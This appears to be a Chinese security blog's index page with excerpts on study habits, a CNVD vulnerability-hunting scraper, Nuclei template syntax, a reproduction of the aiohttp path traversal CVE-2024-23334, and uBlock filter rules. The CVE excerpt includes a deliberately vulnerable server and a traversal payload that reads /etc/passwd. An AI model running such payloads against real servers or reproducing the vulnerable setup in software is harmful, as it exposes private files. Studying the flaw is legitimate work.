/images/avatar.png

ev1l0o4g's blog

学习方法

学前应明确学习目标。学习有重点非重点,把主要注意力放在重点环节,对于不重要的环节快速过一遍,警惕注意力向非重点转移。 学习有三步:预习、学习、复习,三步缺一不可。预习了解整体知识框架,做到心中有谱;学习结合目标,紧抓重点;复习强化记忆,防止今日学明日忘,复习可以是动眼、动手或动口,三者皆动甚好! 适当往返。长时间忘记很正常,可以适当翻找查看,切忌用时过长而误了学习目标。 好记性不如烂笔头。笔记可以方便记忆、翻找查看,也能提高成就感。

记一次CNVD辅助工具的编写

思路 很久没写过Python代码,最近在挖CNVD也不知道该搜什么关键字,遂产生了一个想法:提取爱企查企业软件著作权信息列表的软件名称作为fofa搜索的关键字,返回fofa搜索到的总数,低于10的pass掉,再手工去搜索系统挖洞。 实现 爱企查搜索每个公司会有一个pid,类似于企业在爱企查的身份证号,查询其他信息离不开pid,先获取pid: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 def get_pid(company, header): company_name_urlencoded = quote(company) url = "https://aiqicha.baidu.com/s?q=" + company_name_urlencoded timout = get_random_timeout() response = requests.get(url=url, headers=header, timeout=timout) if response.status_code == 200: text = response.text pidmatch = re.search(r"\d{14}", text) pid = pidmatch.group() # print(pid) return pid else: print("页面请求失败1:", response.status_code) return None 软件著作权信息默认只显示10行,大于10行就要进行翻页,那么需要翻几页呢?这里需要获取pageCount数值: 1 2 3 4 5 6 7 8 9 10 11 def get_pagecount(pid, header): url = "https://aiqicha.

认识Nuclei Yaml模板

基本语法 大小写敏感:YAML对大小写敏感,这意味着键名的大小写必须精确匹配。 使用缩进表示层级关系:YAML通过缩进来表示数据的层级结构。缩进时不允许使用Tab键,只允许使用空格键。缩进的空格数目不重要,只要相同层级的元素左侧对齐即可。 注释:使用#符号表示注释,从#字符开始到行尾的内容都会被解析器忽略。 数据类型:YAML支持的数据类型包括对象(键值对的集合)、数组(一组按次序排列的值)、纯量(单个的、不可再分的值,如字符串、布尔值、整数、浮点数等)。 变量使用:YAML提供了锚点(&)和引用(*)的语法,用于复用数据,避免重复定义。 复合结构:对象和数组可以结合使用,形成复合结构,如在一个YAML文件中定义多个对象或数组。 模板格式 1 2 3 4 5 6 7 8 9 10 11 12 13 id: info: name: author: severity: description: http: - raw: - | HTTP请求体 筛选与匹配 id:id不能有中文、特殊字符、–以及空格等内容,id这个参数,您可以理解为是输出的标题,一个简单易懂的ID,可以让您更快的判断出,该漏洞的大致情况: info:信息块,名称 、 作者 、 严重性 、 描述 、参考和 标签 ,这些都属于信息块的范围,一般情况下,我们只需要写入名称、作者、严重性、描述、标签这几项即可; name:模板名称,这个建议跟id相同即可; author:作者名称,标识版权的一种方式,但是加不加也就那样,毕竟下载后随时可以更改,也保护不了啥。 severity:严重性,这里不可以使用中文,一般用critical、hight、Medium、info来表示威胁等级; description:漏洞介绍,这里可以使用中文,也不限制特殊字符,一般是用来做漏洞介绍用的,可以方便使用者了解该漏洞的具体说明; tags:标签,是为了给漏洞加一个标签,方便进行统一扫描,例如:tags: seeyon(切记不要用中文哈) 在语法错误后,nuclei执行时会提示“Could not run nuclei: no templates provided for scan”,当看到该提示时,记得先排查下模板id是否存在特殊字符; nuclei模板内置保留字 1 2 3 4 5 6 7 8 9 10 11 12 {{Hostname}}:这是一个常用的保留字,表示主机名。 {{randstr}}:这是一个随机字符串。 {{rand_int(1,9999)}}:这是一个生成 1 到 9999 之间随机整数的保留字。 {{BaseURL}}:表示完整的基本 URL,例如 https://example.

Aiohttp目录穿越(CVE-2024-23334)复现

漏洞详情 aiohttp是一个用于asyncio和Python的异步HTTP客户端/服务器框架。当使用aiohttp作为web服务器并配置静态路由时,有必要指定静态文件的根路径。此外,选项follow_symlinks可用于确定是否遵循静态根目录之外的符号链接。当follow_symlinks设置为True时,不需要验证读取文件是否在根目录中。这可能导致目录遍历漏洞,导致未经授权访问系统上的任意文件,即使不存在符号链接。 环境搭建与复现 Linux新建static目录和test.py文件,存在漏洞的代码: 1 2 3 4 5 6 7 8 9 10 11 12 13 from aiohttp import web async def index(request): return web.Response(text="Hello, World!") app = web.Application() app.router.add_routes([ web.static("/static", "static/", follow_symlinks=True), ]) app.router.add_get('/', index) if __name__ == '__main__': web.run_app(app) 安装aiohttp3.9.1:pip3 install aiohttp==3.9.1 payload:/static/../../../../../etc/passwd,需要针对../进行模糊测试 nuclei-template: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 id: aiohttp-lfi info: name: aiohttp-lfi author: dukodvco severity: medium description: CVE-2024-33334 reference: - https://github.

UBlockOrigin屏蔽github弱智

uBlock Origin插件在自定义静态规则添加如下规则: 1 2 3 4 5 6 7 8 9 github.com##.Box-sc-g0xbh4-0.hKtuLA:has-text(cirosantilli) github.com##.Box-sc-g0xbh4-0.hKtuLA:has-text(cheezcharmer) github.com##.Box-sc-g0xbh4-0.hKtuLA:has-text(zaohmeing) github.com##.Box-sc-g0xbh4-0.hKtuLA:has-text(zhaohmng-outlook-com) github.com##.Box-sc-g0xbh4-0.hKtuLA:has-text(codin-stuffs) github.com##.Box-sc-g0xbh4-0.hKtuLA:has-text(Dimples1337) github.com##.Box-sc-g0xbh4-0.hKtuLA:has-text(pxvr-official) github.com##.Box-sc-g0xbh4-0.hKtuLA:has-text(zpc1314521) github.com##.Box-sc-g0xbh4-0.hKtuLA:has-text(b0LBwZ7r5HOeh6CBMuQIhVu3-s-random-fork)